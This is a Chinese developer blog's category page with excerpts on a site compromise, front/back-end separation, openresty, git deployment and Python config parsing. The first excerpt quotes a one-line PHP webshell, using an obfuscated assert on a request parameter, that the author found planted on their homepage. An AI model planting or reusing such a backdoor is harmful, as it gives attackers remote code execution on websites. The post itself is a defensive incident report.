分类 开发相关 下的文章

忽然被挂马,不知何解

今晚要睡觉,忽然发现首页被放了个后门,也不知道是什么时候给放的,哎,太久没打理,等网关弄好再好好整整。

一句话后门

$_REQUEST['y2gyc0']) && array_map("ass\x65rt",(array)$_REQUEST['y2gyc0']);

猜测是我版本升级的时候没有把install.php忽略,结果留下这个安装入口的隐患

前后端分离架构开发笔记前言:架构初步构思

个人觉得前后端分离有诸多好处,特别是在快速迭代的移动互联网应用的开发上。

其一是优化开发流程和分工,可是让前后端的开发工作同步进行,设计初步确定后前后端开发人员协商定下接口文档,前端开发人员可以构建Mock工具模拟接口进行开发;

其二是解耦,移动互联网项目出现变更的情况非常普遍,前后端分离让变更照成的影响减低,加上前端采用组件化,一些变更甚至只需要修改前端的某个组件,有些可能就是后端提供新接口前端添加组件。

其三是对应用的控制和排错更加方便,接口可以都接入统一的API网关进行控制和监控;
其四是某些场景下可以降低对服务端性能的消耗,这里是指采用比如nodejs的前端框架进行前端渲染。

- 阅读剩余部分 -

openresty 学习笔记小结:综合应用实例

这个综合实验实现的功能其实很简单,用户访问一个页面,显示一个默认页面。输入参数(post或者get都可以),如果参数在数据库查询得到并满足一定条件,根据数据库记录的类型调转到不同页面,并记录下访问者的IP并记录到数据库,参数不符合要求返回默认页面。

其实也就用到之前记录下的那些功能点,这个实验也就被用在本网的www入口

- 阅读剩余部分 -

GIT操作小结,更新forked出来的项目和使用子模块

GIT操作小结,从一般常用操作,到有时候我们fork一个项目(比如本博就是fork了typecho)并做些修改提交,而原项目也做了些更新,修复了一下BUG等,那我希望跟随原项目更新的操作,还有子模块的使用,比如我是把自己写的主题和插件作为子模块添加,子模块都是放在oschina的私有库,那么这里需要添加子模块的操作和在拉取项目时把子模块也一起拉下来(这样也才可以运用到上篇写的自动部署)

- 阅读剩余部分 -

通过GIT自动部署代码到服务器

代码提交需要版本控制,一方面是协同开发所必须,一方面也是可以有效做到代码保全和版本回退,再高级点还是可以通过分支或者子模块的形式减少重复工作量。

但代码开发完成后进行服务器部署的过程中,或者在生产过程中遇到需要紧急进行修改的情况下,又如何保证代码的完整性,和确保开发人员有对临时改动进行记录和准备好改动的回退方法。

GIT作为功能强大的版本控制工具,提供了Webhooks和Deploy Keys的功能,可以轻松实现通过git进行服务器部署。同时因为如果部署代码都是通过GIT进行提交,也有效的保证了代码的完整性和可回退。下面以gitlab为例记录具体的实现方法

- 阅读剩余部分 -

openresty 学习笔记番外篇:python的一些扩展库

要写一个可以使用的python程序还需要比如日志输出,读取配置文件,作为守护进程运行等

读取配置文件

使用自带的ConfigParser模块

import os
import ConfigParser

获取配置文件路径并进行读取

path = os.path.realpath(__file__)
path = os.path.dirname(path)
configPath = path + '/config.cfg'

config = ConfigParser.ConfigParser()
config.read(configPath)

使用方法

agentConfig = {}
agentConfig['MYSQLport'] = config.get('MySQL', 'port')

- 阅读剩余部分 -